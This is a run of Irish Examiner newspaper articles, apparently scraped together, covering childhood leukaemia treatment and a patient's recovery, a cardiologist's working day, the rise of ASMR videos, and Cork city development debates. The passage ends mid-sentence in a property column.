Ireland, as in most of Europe in 1966, children diagnosed with leukaemia lived six to 12 weeks. Clinical care was purely palliative intravenous drugs and morphine to make them comfortable. I was brought to see Derek when he died. He was laid out in the bed. Seeing him against the white sheets and he was as white as them, and you could see all the bruising. It left a scar. Professor Smith is consultant paediatric haematologist at Our Ladys Childrens Hospital, Crumlin, and he has just been appointed national clinical lead for Childhood, Adolescent and Young Adult Cancers by the National Cancer Control Programme. As soon as I went into Medicine, I knew I wanted to work in leukaemia, he said. Around 210 children are diagnosed annually with cancer in Ireland. Approximately one-third have acute leukaemia other common cancer types are brain tumours and neuroblastoma. Professor Owen Smith, consultant paediatric haematologist at Our Ladys Childrens Hospital, Crumlin. Picture: Moya Nolan Smith, explaining that these toxicities affect 60-70% of patients and can include bone disease, heart disease, problems with metabolism, obesity, diabetes and fertility loss. On Grafton Street 10 years ago, a woman with a buggy stopped him, a woman he didnt recognise long-haired, fit-looking and in her early 20s. She said: Professor Smith, do you remember me? Shed been one of my patients in Harcourt Street Hospital in 1996 where she was treated for leukaemia. She showed me her baby. Shed had chemo that would have interfered with her fertility, but here was her baby. It was the most uplifting, incredible moment. While he might not readily remember the children he helped cure, he never forgets those who dont make it or who die of refractory (stubborn) or relapsed disease. In a sense they haunt him. So Im interested in looking at ways to find treatments for that other 10% so we can cure 100% of these children and [do so] without toxicity and side-effects. For 70 years, real efforts in curing childhood cancers have focused on acute leukaemia as the most accessible form of cancer. If you stick a needle into a vein, you can get a cancer biopsy, as opposed to going into a solid tumour which takes more time and is more invasive, explains Professor Smith. He compares cancer treatment over the past 40-50 years to carpet-bombing cocktails of different chemo drugs that hit healthy systems as well as cancer cells. They attack the hair follicle. They break down the gut lining an immunological barrier that prevents bacteria from crossing into the bloodstream. This causes infection, which in turn causes significant amount of death among cancer patients. This scattergun approach to treatment also attacks normal bone marrow function: the patient gets neutropenia low white blood cell level. So theres a double whammy if you cant fight infection, you can get sepsis and septic shock, says Professor Smith, explaining that once the bombs are released, doctors must wait until the patient recovers normal gut mucosal barrier and normal bone marrow function before any more treatment. Essentially before you give them more chemo and then youre back into the same vicious cycle. But the 1990s and the noughties brought new hope more targeted cancer treatments, what Professor Smith calls sniper fire. These target genetic abnormalities driving the cancer within the cancer cell. The classic example is Imatinib, a drug that targets a specific genetic abnormality BCR-ABL fusion within two types of leukaemia: chronic myeloid leukaemia and a small percentage of acute lymphoblastic leukaemias. This was a paradigm shift, says Professor Smith. Now, patients with chronic myeloid leukaemia take Imatinib orally and it pushes them into remission. And in a small percentage of acute lymphoblastic leukaemias, using Imatinib in combination with chemo improves outcomes by up to 40%. We now have more of these targeted therapies in the clinic for different types of cancer, which is fantastic. Immunotherapies, arriving in the last five to 10 years, are says Professor Smith the newest kid on the block, a yet more sophisticated weapon in our cancer-fighting arsenal. These are antibodies that target a cancer Achilles heel a protein unique on the cancer cell. The antibody binds with the protein, then kills the cancer cell, avoiding toxicity on other cells. At the same time the antibody called BiTE or bi-specific T-cell engager engages the patients own T-cells (type of immune system cell), calling on them to engage in the killing of the cancer cell, explains Professor Smith, adding that enlisting the patients own T-cells is an even better way to kill the cancer. Immunotherapies are currently only used in patients who are high risk, refractory to treatment and who have relapsed. Like Professor Smith, Professor Jonathan Bond is one of Irelands top cancer researchers and was appointed last year to the Brendan McGonnell UCD Professor of Paediatric Molecular Haemato-Oncology Chair. His focus is capitalising on the knowledge explosion in the last 10-15 years in the biology of leukaemia, in particular, the genetic mutations in leukaemia cells. We know a huge amount about the genetic landscape of leukaemia and leukaemia in children, so we can think of ways to target it specifically instead of the old ways, which were like using a sledgehammer to crack a nut. Immunotherapy is extremely promising in leukaemia that has been treated but where theres relapse. Professor Smith agrees: With patients who relapse or who are difficult to get into remission, we cant keep giving them block after block of chemo whereas, with immunotherapy, its possible for them to enter remission. The latest breakthrough treatment emerging only in the last year or two is chimeric antigen receptor T-cell therapy or CAR T-cell therapy. We take T-cells from the patient and perform a form of gene therapy on them to make them active against the patients own cancer and theyre then put back into the patient, explains Professor Smith, adding this can put patients into remission whod previously have been deemed incurable. CAR T-cell therapy has been approved by European and North American regulatory bodies and is in place across 10 European countries. Professor Smith confirms this treatment will start later this year for childhood leukaemia, adult leukaemia and lymphoma in the Childrens Hospital Crumlin, and in St Jamess Hospital. CAR T-cell therapy will get wider in its application its being pushed out now for other cancers like ovarian. And theres some US research [emerging] that it can be used for neuroblastoma in children. Oncology treatment at Our Ladys Hospital, Crumlin, is on par with the worlds best paediatric hospitals, according to Professor Smith. The 2015 report, Childhood Cancer Mortality in the UK and Internationally, 2005-2010 showed the hospital has best results in the EU for childhood lymphoblastic leukaemia (commonest cancer in children). Thats a huge plus for everybody working within the programme we share care with 16 other centres around Ireland so its a combined effort, a multidisciplinary approach across Ireland for childhood cancers. Professor Bond leads the Childhood and Adolescent Leukaemia Research Group based in Systems Biology Ireland at UCD. Worldwide, there are only about five of these institutes dedicated to systems biology and this is the only one in Ireland. We combine computational techniques with traditional lab experiments. Theres a mix of expertise in computers, medicine, biology. Its a collaborative effort where we all work together to do science. Its quite powerful. Professor Jonathan Bond: One of the countrys top cancer researchers. Professor Bond says the beauty of computational techniques is you can do lots of experiments very quickly on the computer without going into the lab like youd previously have done. You can make computer models of biological systems, of molecular pathways. Its like road-testing a car on the computer if the cars in a crash, what happens? Analogous to road-testing a car, you can do similar things with leukaemia cells, he says, adding that its about finding different targets for attack within the leukaemia cell. If something goes wrong within the leukaemia cell if theres a mutation in a gene we can work out that this may make the cell vulnerable to a particular type of treatment. It means, he says, you can target your lab experiments much more easily, saving time and money. You can find things you wouldnt expect. For example, other scientists working on computer models have found particular combinations of drugs are effective against certain cancers where the individual drug on its own mightnt have been. They worked this out only because of computational modelling and they were then able to test it in the lab. Professor Smith believes, going forward, itll be possible to predict which patients will get long-term toxicities. By interrogating the patients genetics, can we find the genetic determinants that predispose the patient to long-term toxicities? The answer is yes, we can by using the whole area of next-generation sequencing. The term, he says, is precision oncology, meaning every patients treatment will be designed for that patient. And he believes this should be possible for leukaemia patients in the next three years or so. Professor Smith says the story of cancer treatments over the past 50 years can be compared to approaches taken with an overflowing sink. You can mop up the water on the floor like what weve been doing with cancer in the last 50 years, the carpet-bombing. You can take out whats down the plug-hole, which is like the targeted treatment. But what you need to do is turn off the tap, unravel whats going on, which is analogous to the genomics were doing in the UCD group. But do the new breakthrough treatments exact payback too? Are there side-effects? In immunotherapy, the antibody kills the leukaemia B cells. Frequently, your normal B cells that fight viral infection are slow to recover, so you can be more prone to viral infections but its a small price to pay when you consider leukaemia would kill you, says Professor Smith. But it can be treated and is rarely fatal. With CAR T-cell therapy, toxicitys a real issue, says Professor Smith. It can cause neurological disturbance, respiratory and cardiac failure, necessitating the patient going to ICU most of these toxicities can be reversed using an antibody. But the biggest price, he says, is quite literally that financial cost. Immunotherapy antibody treatment per patients costs around 20,000. CAR T-cell rises to a staggering 300,000 per patient. But with cost-benefit analysis, its cheaper compared to carpet-bombing. These patients dont occupy beds for a lot of time. Theyre not in ICU so much or having antibiotics. And, after all, he asks: What price can you put on a life? 'Ill be able to have a normal life' Anna Barrett, 13, was first diagnosed with leukaemia at age of five. Successful treatment brought her into remission for over four years. Then last summer came the bombshell. Breathless on the playing pitch, Anna wondered if she was asthmatic. Shed been for her six-monthly check-up two months earlier and everything was fine. We said wed bring it up with her doctor at the next appointment, says mum Therese. In June on a school tour to an outdoor pursuit centre, Anna couldnt keep up with classmates. Halfway through the day she was tired, dizzy, and nauseous. The teacher asked if wed collect her. On the way home in the car she was falling asleep. Next evening, Annas blood results indicated she needed to go straight to the Mercy Hospitals leukaemia unit. It was quickly confirmed the leukaemia was back and she was transferred to Crumlin Childrens Hospital, where Minimal Residual Disease (MRD) testing was done this would guide treatment. She also had a cytogenetic test to identify the leukaemias genetic profile. Pending results, Anna was treated much as in 2011 with chemo drugs that caused vomiting, hair loss, tiredness, and neutropenia. Over the summer, she developed complications sepsis, pneumonia, thrombosis rendering treatment challenging. Her MRD results showed she needed a bone marrow transplant. Annas sisters, Natasha (10) and Elizabeth (7) were tested and Natasha was found to be a match. Natasha never for one second hesitated. In later life, shell realise what a special thing she has done, says dad-of-three Eddie. In preparation for bone marrow transplant, Anna went on Blinatumomab, a bispecific T-cell engager antibody immunotherapy for 28 days last December. For bone marrow transplant to be successful, a patient has to be intensely treated to ensure the least amount of residual leukaemia cells in the patient, says Eddie. Blinatumomab is very targeted. Anna was one of the first children in Cork to receive it only seven in Ireland have had it. She had a far higher tolerance of it nothing like the side-effects she had with the older treatment. For best possible chance of success, patients need to achieve high Karnofsky score pre-transplant. The older chemo drugs cause fatigue, nausea, weight loss, making it harder to reach a high Karnofsky score. The fact Anna was able to tolerate Blinatumomab meant less side-effects and a higher score, explains Eddie. Anna had the transplant in January. She was discharged from the unit 28 days later, which the family understands was an early discharge. Currently on antiviral and antifungal medication, as well as immunosuppressants, Annas feeling much better. Im getting stronger, she says. The hardest part [of it all] was wondering would I ever be able to do what other girls my age do. Ive been told Ill never go scuba-diving or trek across deserts but I was never going to do those anyway. Im very positive Ill be able to have a normal life. Eddie says when families get news of serious disease, its very challenging. Anna told us she felt it was all over. But of course it wasnt and it isnt. You take each hour at a time and theres hope and light at the end of the tunnel. You have confidence in your medical team. Theres a fantastic team in Cork with Dr Clodagh Ryan and in Dublin with Professor Smith. It wouldnt be possible without them and without our family and friends support which was huge. - To help sick children/support research, visit https://cmrf.org/donate Dr Angie Brown, Irish Heart Foundation (IHF) medical director and consultant cardiologist at the Bon Secours Hospital, Beacon Hospital and Hermitage Clinic. 6.30am Walking the rescue collie and feeding the cats are early morning priorities. My husband looks after the dog and I tend to the cats. Home is in Glasnevin, a short distance from the Bon Secours Hospital, which is my first port of call, unless I have an early morning board meeting in the IHF. 8am I head to the cardiac cath lab where we provide a range of diagnostic and therapeutic interventions for patients with cardiac and vascular disorders. First on the agenda is a transesophageal echocardiogram (TOE), a heart scan that uses ultrasound to produce images of the heart via the oesophagus. Its high-resolution images are used to look at the hearts structure and function. 9am Next up, Coronary angiograms, a test where I inject dye into the patients coronary arteries and take X-ray pictures to check for narrowing or blockages. Some of our patients have heart failure. A survey carried out recently on behalf of the IHF found almost half of Irish adults mistakenly believe that heart failure means the heart stops beating. In fact it means it does not pump blood as well as it should. We are currently running a campaign Dont Ignore the Signs of Heart Failure to raise awareness. Key warning signs include swollen ankles, shortness of breath, fatigue. 12 noon I fit an Internal Loop Recorder in a patient with palpitations and a blackout. Its a tiny device implanted under the skin. This enables ECG recording and storage and helps us determine the correct diagnosis and treatment. Lunchtime Spent writing up reports and dictating letters to GPs. 1.15pm I run an outpatient clinic Monday afternoons. Later in the day, I pop back onto the wards to review my inpatients or to see patients with chest pain under the care of other specialists. 8.30pm I head home for supper. If its a sunny evening, we make a beeline for the beach with the dog. Occasionally, I have evening meetings with the IHF where my role includes providing medical expertise and acting as a spokesperson. - On Thursday, May 2, the IHF will hold an information meeting in the Clayton Hotel, Silversprings, Cork, at 6.30pm In the last decade, thanks to YouTube, Autonomous Sensory Meridian Response (ASMR) has grown from a hard-to-describe psychological oddity into a mass cultural phenomenon, writes Jamie Lauren Keiles When Jennifer Allen watched videos of space, she sometimes felt this peculiar sensation: a tingling that spread through her scalp as the camera pulled back to show the marble of the earth. It came in a wave, like a warm effervescence, making its way down the length of her spine and leaving behind a sense of gratitude and wholeness. Allen loved this feeling, but she didnt know what caused it. It was totally distinct from anything shed experienced before. Every two years or so shed take to Google. She tried searching things like tingling head and spine or brain orgasm. For nine years, the search didnt turn up anything. Then, around 2009, it did. As always, Allen typed her phrases into Google, but this time she got a result on a message board called SteadyHealth. The post was titled WEIRD SENSATION FEELS GOOD: i get this sensation sometimes. theres no real trigger for it. it just happens randomly. its been happening since i was a kid and im 21 now. some examples of what it seems has caused it to happen before are as a child while watching a puppet show and when i was being read a story to. as a teenager when a classmate did me a favour and when a friend drew on the palm of my hand with markers. sometimes it happens for no reason at all In the discussion, many described a similar feeling a silvery sparkle inside the head, a euphoric brain-gasm or a feeling like goose bumps in the scalp that faded in and out in waves of heightened intensity. Many people agreed that the sensation was euphoric. (Aside from an actual orgasm, its probably the most enjoyable sensation possible, one user wrote.) Its triggers were as varied as watching someone fill out a form, listening to whispering sounds or seeing Bob Ross paint landscapes on TV. Allen scrolled through pages and pages of discussion. Oh my gosh, she remembers thinking. These people are talking about exactly what I experience. In time, that post begot a second post: WEIRD SENSATION FEELS GOOD PART 2. As discourse on the unnamed feeling evolved, users shared accidental triggers found online a man unlocking a damaged padlock, someone brushing her hair. These videos had a gentleness in common that many of the users found hard to describe. Some spoke of the need for a research group to better understand the sensation. Still others expressed fear over social repercussions: Were they perverts? Were they sick? People had been told they were on drugs or that they had lice things like that, Allen says. And then there was the factor of people calling it a brain orgasm and it sounding like some sort of erotic fetish kind of thing. Allen had invested a lot in the discussion, even expressing interest in the fledgling research effort. She saw how the feeling had improved her sense of calm, but she worried that the subtext of a tingling sensation would hold the group back from legitimacy. If they wanted to generate scientific interest, they needed a more scientific-sounding name. And so in February 2010, she made one up: Autonomous Sensory Meridian Response, or ASMR. She started with autonomous because it was a feeling from within; sensory was self-explanatory. Meridian worked triple duty, suggesting peak but also orgasm and the energy pathways of traditional Chinese medicine. Response was just to say that it was not a constant state; it happened in reaction to a set of stimuli, like gum chewing and tapping. I wish Id made it a little shorter, Allen says. But at least it sounded better than brain-gasm. She debuted the new name on the SteadyHealth board by announcing the ASMR Group she had registered on Facebook. Discussion-board users migrated en masse, and soon membership spanned six continents: a blogger in South Africa, an artist in Detroit, an ethnobotany researcher working in Australia. They started sharing links to videos again not the accidental triggers of before but a new genre created for the express purpose of inducing ASMR. These videos often featured anonymous women delivering soft-spoken voice-over narration. According to message-board lore, the first video of this type was one titled Whisper 1 - hello! that was posted in 2009. Under the search-engine-friendly banner of ASMR, a new crop of YouTube creators emerged to serve up the feeling to those who knew they felt it at that point, a small but growing subset of the public. Today legions of (mostly female) creators release, by my count, around 500 new videos on YouTube each day. Over the course of reporting this article, I spent at least 200 hours on the site, watching women chew gum, swallow octopus sashimi, simulate eye exams, turn pages of books and peel dried glue off artificial ears. I watched a teenage girl role-play as a 14th-century nun, treating me for the bubonic plague. I watched a two-hour recording of hair-dryer sounds. Any trigger that starts to find fans is endlessly taken up and reperformed ripped off by different channels for ad euros at least until the next trigger takes its spot. One month, cranial nerve exams are in. The next month, creators are all shaving bars of soap, chewing bricks of raw honeycomb or eating buckets of KFC. This subculture is bonded not by belief but rather by an ineffable sensation perhaps the first time the internet has revealed the existence of a new feeling. Craig Richard, a professor of physiology at Shenandoah University in Virginia, first heard the term ASMR in 2013, on a podcast. Im listening to the beginning of this episode thinking, This is a bunch of woo-woo bunk! he told me. Just as he went to turn the podcast off, the subject changed to the painter Bob Ross by then, a well-known ASMR trigger. Richards eyes lit up. In childhood, he spent afternoons watching Ross paint landscapes on TV. He remembered caring more about the painter than the painting. It was his demeanour. It was the sounds he made and the way he talked the way he looked in the camera. When the episode was over, Richard went to his computer to look up the research on ASMR. At that point, he found nothing academic only websites and forums that led him to the Facebook group. He reached out to Allen, and in collaboration with a graduate student and member of the community named Karissa Burnett, they conducted an informal online survey that, over time, has received more than 25,000 voluntary responses. Richard also started ASMR University, an online archive that today remains a useful clearinghouse of research on the topic. Still, scientific understanding has moved slowly. Funding for ASMR research is hard to justify, and the diverse nature of ASMR triggers can lead to noisy data. To date, ASMR University lists just 10 peer-reviewed papers. More than half of these were published in author-pay journals. The most rigorous studies use fMRI to map the activity of blood flow in the brain as participants report feeling the tingles. Outcomes have suggested, in very small samples, that ASMR might have something to do with socially bonding affiliative behaviours, known to release feel-good hormones like oxytocin. Richard, for his part, considers these outcomes from an evolutionary-biology perspective. He believes that the tingles of ASMR are meant to assist in reproduction and survival, and points out that triggers like grooming, whispering and eye gazing all bear strong resemblance to the ways that humans soothe infants. In adulthood, a range of similar behaviours contribute to intimacy between mates. But if ASMR plays (or played) a key survival role, why does it seem that only some people can feel it? Why should it come to our attention only now? Around the time that Whisper 1 - hello! was picking up speed in Allens Facebook group, Gibi today one of YouTubes top ASMRtists was a sophomore in high school. (Ive withheld her last name here for below-explained reasons.) Like many teenagers these days, she often had trouble falling asleep. Sometimes she would sneak her phone into her room and watch YouTube videos to relax her mind. Makeup tutorials segued to massage, which soon gave way to ASMR. Since then, Gibi has watched ASMR videos every night. The ritual followed her off to college, where the videos became a kind of white noise while she studied. ASMR was, by that point, not just for those who experienced the tingles. The genre had begun to find broader appeal as a sleep aid, an alternative to guided meditation and a drug-free, online version of Xanax. It had developed its own microstars, women with handles like Gentle Whispering ASMR and ASMRrequests, who filmed themselves crinkling paper, tapping their nails on large wooden bowls, dealing cards, brushing hair and pouring cold milk into bowls of Cocoa Krispies. One of Gibis favourites, Heather Feather ASMR, went beyond mere sound effects, performing full-scale role-play scenes infused with attentive, deliberate sound. In one, Heather administered a colorblindness test, tapping her wand on a laminated chart. Watching Heathers videos made Gibi feel as if her brain was swimming, in a good way. She played the same scenes over on repeat, returning to parts that gave her the tingles. At that point, in June 2016, Gibi thought that maybe, with regular effort, she could produce a quality channel with a regular schedule that tested out new, creative triggers on a regular basis. And so, in the summer before her senior year, she started her own channel, Gibi ASMR. Six months after graduation, she was earning enough in ad revenue to treat it as her full-time job. Today she has about 1.8 million subscribers on YouTube. I first met Gibi in Los Angeles at Daiso, a Japanese discount store. Our plan was to shop for some tingly props any little odd or end that might yield good, recordable sound. Gibi was in town for a public appearance. That day, a video from her account was trending globally on YouTube, a role-play called The ASMR Sleep Clinic | Tingle Experiment. Gibis main goal is to relax her fans. If you fall asleep during my video, thats a compliment, she said. Some of the most-requested content is the sound of fingers tapping on a bread-shaped piece of cork. Fans request the toaster coaster by name the closest thing ASMR has to Free Bird. That day, she was searching for similar objects, made of soft, dull wood or thick glass. In the store, Gibi made a beeline toward a rack of piggy banks. Whenever I pick something up, Im always listening to it, she said, tapping her nails on a piggy banks candy-coated glaze. The lacquer made a dainty, plinking sound, like the loose filament of a shaken, burned-out light bulb. She moved on to rustle a strand of orange tinsel, then brushed her hand against the grain of a vellum birthday card. Gibi is the LeBron James of touching stuff. As she paused to fondle a makeup brush, I heard the grip of her finger pads reluctant to give up the cellophane wrapper. When she smoothed the fleece of a microfiber towel, I cringed at the drag of rough callus against terry cloth. Gibi moves with the demonstrative intent of a former high school theatre kid. (She is one.) She is hot in the way of a friends older sister, projecting an air of humble self-assuredness. I think a lot of what has to do with why my channel has become popular is because I do put a lot of my personality oh, my God! She stopped to interrupt herself and crinkled a plastic package of pens. I put a lot of my personality into my videos, she said. For those who watch her at home, this apparent emotional availability can foster a range of attachments. Gibi says that most of her viewers are kind and effusive. Under her videos, they leave thousands of comments, appreciating the sound of her voice and its power to alleviate their insomnia, anxiety and PTSD. For others, the tender tone can be misleading. Unloading her shopping basket at the till, she told me the story of one obsessive fan who believed she was talking directly to him. He sent her tens of thousands of messages, she said, and she filed a police report. Other fans have pried into her past, digging up old records from high school. Creepiness and harassment are widespread problems for the young female creators of the ASMR world. Gibi takes extreme precautions to protect her own privacy. She doesnt share her last name, or her relationship status, or even what city she lives in. If she happens to meet a fan on the street near her house, she pretends that shes there on vacation. As a genre, ASMR seems doomed to appear sexual a suspect jumble of tingles and pleasure and subservient women you watch alone at your computer. Are those who feel the tingles just a bunch of repressed weirdos? Questions like this have plagued ASMR ever since Jennifer Allen first cringed at the word brain-gasm. A lot of the visuals you might see in ASMR videos relate to how you might visualize what happens during healthy foreplay, Craig Richard says. People talking gently to each other, people touching each other lightly, gazing into each others eyes, expressing physical or vocal care for each other making the other person feel safe. If ASMR is not sexual itself, then Richard believes it might still belong to a general complex of safety, caring, connectedness and trust. Nevertheless, the gender imbalance of performers seems suspect. ASMR combines the one-way sociality of podcasts with the outcome-driven imperative of porn. The viewing pattern even looks similar to porn, but this perhaps goes beyond mere horniness. For much of human history, women have been cast into care-taking roles. With centuries of imbalance, it makes plenty of sense that our brains would find peace in these strange and gendered invocations of comfort. Is that healthy? Is that normal? Really, who can say? Sitting alone in front of a screen, nothing seems that weird anymore. c.2019 The New York Times Cork is at a pivotal moment in its history and needs funding to be ring-fenced in order to bring certainty to long-mooted infrastructural projects. That was one of the key messages from Cork City Council chief executive Ann Doherty at the Irish Examiners Cork On The Rise breakfast briefing, which explored the future of the city through the lens of housing, infrastructure, sustainability and liveability. Tanaiste Simon Coveney, developer Michael OFlynn and world-renowned architect Angela Brady joined Ms Doherty in the new UCC Centre for Executive Education at the old Cork Savings Bank, with robust and frank exchanges in front of 120 business, social and political leaders from around the city. Ms Doherty said essential projects for Cork that had been approved needed guaranteed funding, or investment in the city would suffer. What do we need to continue our journey? We need certainty. We need it to give investors confidence to invest in our growing city, including our docklands for the future. A move by Government to ring-fence multi-annual budgets for Cork city would enable us to programme investment in the infrastructure needed to develop key sites in our city. This, I believe, would be a game changer, she said. Ms Doherty said more control over its own destiny would also lift Cork aspirations to become a reality. I also believe further consideration of devolution of powers to local government would be particularly welcome. "Can you imagine what it would be like to have full devolution of powers to local government for planning, transport and infrastructure investment and decision-making? Giving local people with local insights the ability to develop our city in a sustainable way, in a programmed manner, bringing certainty, she said. There were spirited exchanges between Mr Coveney and Mr OFlynn as the two men offered their visions of solving the housing crisis. Mr Coveney said he believed height restriction on construction was hampering the building of apartments in Cork, and that height is not at all a threat. Restrictions in Dublin had been a mistake, Mr Coveney said, and apartment building in the city centre would help alleviate the crisis. Mr OFlynn countered that he believed lifting height restrictions would not be the panacea for the housing crisis. A View of St Patricks Bridge and St Patricks Street Cork in 1956 Tall buildings work in London or Dublin but not in Cork, he said, adding that a transient workforce would be attracted to apartment living in the city, but not necessarily families who wanted long-term housing. The aspirations of the future had to be fused with realistic and achievable solutions for the short-to-medium term, Mr OFlynn said, repeating his call for Vat reduction on housebuilding and a re-examination of the Central Banks rules on mortgage lending. Mr Coveney said robust exchanges like those he shared with Mr OFlynn were essential if the debate around Corks future was to grow, as well as engagement with local leaders. The most important thing for Cork is that now we have created a foundation and a platform to build something very significant and special over the next two decades, that there is a collective effort across political, business, community, local and national government to make sure we continue this conversation. "If there is a weak link in that chain, everyone else needs to get on the case so we maintain a momentum and drive that gets this city moving at a pace we all think it needs," Mr Coveney said. Ms Brady spoke of how it was entirely possible for Cork to modernise into a world-class sustainable city while retaining its rich cultural value and heritage. A dawn view of the newly refurbished St Patricks Bridge which was recently completed. Picture: David Creedon / Anzenberger The future is ripe for Cork to be one of the leading sustainable cities in Europe, Ms Brady said, if it had the right type of housing, a densified city centre that was easy to walk and live, without dependence on cars. "I'd like to see three or four design champions, to give the planning department teeth to make good decisions for quality design. I'd like to see alternative types of living, different types of housing, intensifying the city centre for work and for all pockets of the economy. "It is very important that the young and the old are brought into the city, and they will enliven it as much as anything else," she said. Please feel free to send us your own contribution on what you feel Cork's future holds, what direction you feel the city is heading and what you want Cork to be in the decades ahead? Find out how to send your readers blog contribution for consideration here. The northside of Cork city remains an integral part of the city that needs to see its fair share of development and progress, political and business leaders have admitted. At the Irish Examiners business breakfast to coincide with the special Cork On The Rise supplement, it was discussed by the panel whether the historically-neglected northside of the city was in danger of missing out on its slice of the economic and social pie in the next 20 years. Cork City Council chief executive Ann Doherty said: Id be concerned that people of the northside do not feel part of the city, because they very much are. The northside was developed in a particular period of time, and we have started the regeneration programme on the west area of the northside. We need to move that regeneration right across. There are some really strategic development opportunities in the northside - Old Whitechurch Road is one that is already owned by us. "There is land we are bringing back to the market, and obviously there is land out in Ballyvolane that is both public and private. I think what is important for the northside is more employment opportunities. The northside had a heightened sense of community spirit from which other parts of the city could take inspiration as they made the city a better place to live and work, she said. The northside has something really special that other parts of the city could benefit from such as a great sense of neighbourhood and community. Thats what we need in this city, a city of neighbourhoods and communities. Cork on the Rise panel discussion led by Michael Clifford. "However, one of the biggest pieces is getting employment (in the northside). Tanaiste Simon Coveney concurred that employment and economic opportunities for the northside were essential if the area was to progress like others in the city. Tivoli had the potential to be the Blackrock of the northside, he said. We do see a city extending on the northside. That is why Blarney is in the extended boundary. We see the northside expanding and growing, and not just housing. The debate has been very much dominated by houses but people are not going to live and work in Cork if it is not a nice city to live in, if they cant play here. "I think youll see a lot of development on the northside of the city, places like Glanmire growing and expanding and becoming part of the city. Youll see essentially a new urban centre essentially in Tivoli. It will be a bit like the Blackrock of the northside, except with much higher density. "Its the economic development that has painted this picture of one benefiting and the other not. With the exception of Apple, we do need to see more job opportunities for the northside of the river, Mr Coveney said. Developer Michael OFlynn said it was a fair question to raise about why the northside had not seen as much development as other areas, because it had massive potential. The northside has not had development that other areas have had. Ballyvolane is a really good area, while Monard (near Blarney) is a government-designated special development zone. But there is no point in designating something unless you are prepared to make it happen. I think the northside could do with wider population bases, where people could live and work. We were building offices in Ballincollig 15 years ago and people said only professional services could go there. "But people are working and living there now. People could be living and working in Ballyvolane, people should be living and working in Monard. "Those are two examples with massive potential, Mr OFlynn said. Please feel free to send us your own contribution on what you feel Cork's future holds, what direction you feel the city is heading and what you want Cork to be in the decades ahead? Find out how to send your readers blog contribution for consideration here. Tails are up and the cranes are up, but putting roofs over peoples heads is far from top of the agenda, writes Property Editor Tommy Barker We really, really should not have to remind ourselves. But, we should. Just like economies, and property development, the growth and development of a city (spoiler alert: this is cast-iron guaranteed) can, and does work in cycles. What goes around, and what goes up, might slide back a bit, stick a bit, take unexpected detours. Broad-brush changes work and weave their way in waves, moving forward in surging tides, driven by positivity, by outside forces, fed by free-flowing finances and the drivers of capital, global forces and by national improvement drives and maybe even by Government plans, such as the current National Planning Framework 2040. This latest national plan (coming years after the ill-fated National Spatial Strategy, of flawed hubs and gateways and something for everyone in the audience political promises) puts Cork (and Limerick, Galway and Waterford) up on something of a future growth pedestal, population and counterbalance-wise to their chic, suave and savvy Big City sibling, the historically favoured and force-fed capital, Dublin. And, then, sometimes by surprise, but more often inevitably, the cycle turns and instead of waves of activity, we get stagnation, and catch up and growth cycles stop. The peaks and troughs of such cycles can be years apart. In the longer urban development view we should be talking in decades, if not in centuries, especially for a city as old as Cork, with its Viking roots, a royal charter thats 830 years old, and a story thats all about reclaiming land from marshes (hence its name-root, Corcaigh) for its citizens, and serving a broad, physically well-endowed Munster catchment. Right now, six or seven years into uneven economic recovery after the brutal banking, economic and property crashes after 2007/08, caused by over-exuberant (ie, mad) bank lending and scattergun and almost unrestrained property development, things are back to being busy on Cork Citys skyline. For the last couple of years, tails are up. Even judging by the crude tails-up cranes-up count rule of thumb, its broadly positive, though it must be noted that the tower crane tally is down a tad on what it was in 2018: its currently and solidly set in single digits, compared to over 100 tower cranes in the capital city, and thats really only on commercially-driven, sectoral projects of the moment. Were building offices aplenty. Hotels too, but apartments and homes for people and roofs over heads which Corks citizenry can afford to buy, or to rent? Hmmm. Corks not doing so well on that front yet, but the delivery pipeline is finally picking up from moribund levels of five or more years ago, with maybe 60 or 70 new homes schemes now on site in the broader, metropolitan Cork area. Its a catch-up, but a slow one, and prices to buy and even more so to rent are already up at affordability thresholds. Broadly, these tower crane beacons of construction activity are dotted along Cork Citys venerable river-divided water course routes, along its historic docks and quays, which having passed their shipping and mercantile prime, are now turning fair-face to 21st century commerce, financial sectors, digital activity and even a cyber security cluster as a particular Cork strength. Again, its offices in the main, with a sporadic sprinkling of costly purpose-built student accommodation too, driven, dont you know, by inequitable financial advantages. A View of St Patricks Bridge and St Patricks Street Cork in 1956 Isnt there an irony in the fact the only apartments which are apparently financially viable to build are for students, at major rents (200 per bed per month?) in utter contrast the historical norm of digs, bedsits and squalid house shares? On the broader front, Cork has contemporary development recently bedded down and bright and shiny on the south docks, with OCallaghan Properties Navigation Square well-advancing on 350,000sq ft of offices, following on from the recent JCD Groups One Albert Quay, and the likes of Webworks and OFlynn Constructions Elysian from the mid-2000s build boom. Stand on Parnell Bridge or St Patricks Bridge before 9am any weekday and just feel the surge of people and a city back on the move, on foot, on bikes, by car and bus.Theres even a bit of sheen back on the South Mall, and its turning a corner next into Parnell Place. Were a decade (and more) on from the last expansionary surge from the old city core, which was spearheaded by the likes of developments such as Howard Holdings-driven City Quarter/Clarion Hotel, and with it Corks first boardwalk. It came just east of the traditional, central business district around the South Mall, which itself is also back in vogue, with new offices and occupiers, a hotel, repurposed former bank buildings, all back in rude good health having being written off as being in terminal decline in the 2000s. Weve mostly come to appreciate the old, as well as the new, having had to take the foot off the gas pedal for quite the long period after 2008s meltdown. Cork Citys current development spurt, thankfully, for a bit of northside/southside development balance is at the adjacent Albert Quay and, even more welcome, at Horgans Quay and Penrose Quay, with lofty ambitions for a pivot point scheme at the Port of Cork Harbour/Harbour Commissioners bonded warehouse site where the Lees two channels reunite in the tides, Corks very own Ile de la Cite. The latter two quays, with JCDs Penrose Dock going up at a rate of knots and Clarendon Properties/BAMs HQ/Horgans Quay, north of the river, next to public transport rail and bus links, sustainably-sited developments for the very long term, long overdue. Sensible. Its just twenty-five years, or a quarter of a century, since OCallaghan Properties made (controversial) first moves on CIEs land on Horgans Quay, let it be notedand theres still acres there yet to come. Further east? Tivoli, and grand plans proposed once more, once Port of Cork moves its container depot to Ringaskiddy, freeing up a couple of hundred acres of land first reclaimed just over 100 years ago, currently in low-grade use, but full of hope value, south aspected, with river frontage property development buzzwords. Two or three centuries ago, Corks future development was posited to be downriver, away from the marshy island and hill-constrained core, both north and south of the topographically-blessed Lees main estuarian channels. That hasnt changed, its just taken longer than expected. And will come yet in fits and starts, in waves. Coming up to a 20:20 vision, not to mind looking out to 2040, Cork is for want of a cliche back on the cusp of change, in national terms. It has more vital variables in place now than heretofore, and theres a cohesion for the next chapter, once broader, international events dont set it askew. Even against current historical and economy-dominating sweeps such as Brexit, and US FDI taxation changes, and certainly in European terms, the southern capital punches well above its second-city or secondary weight thanks to port and 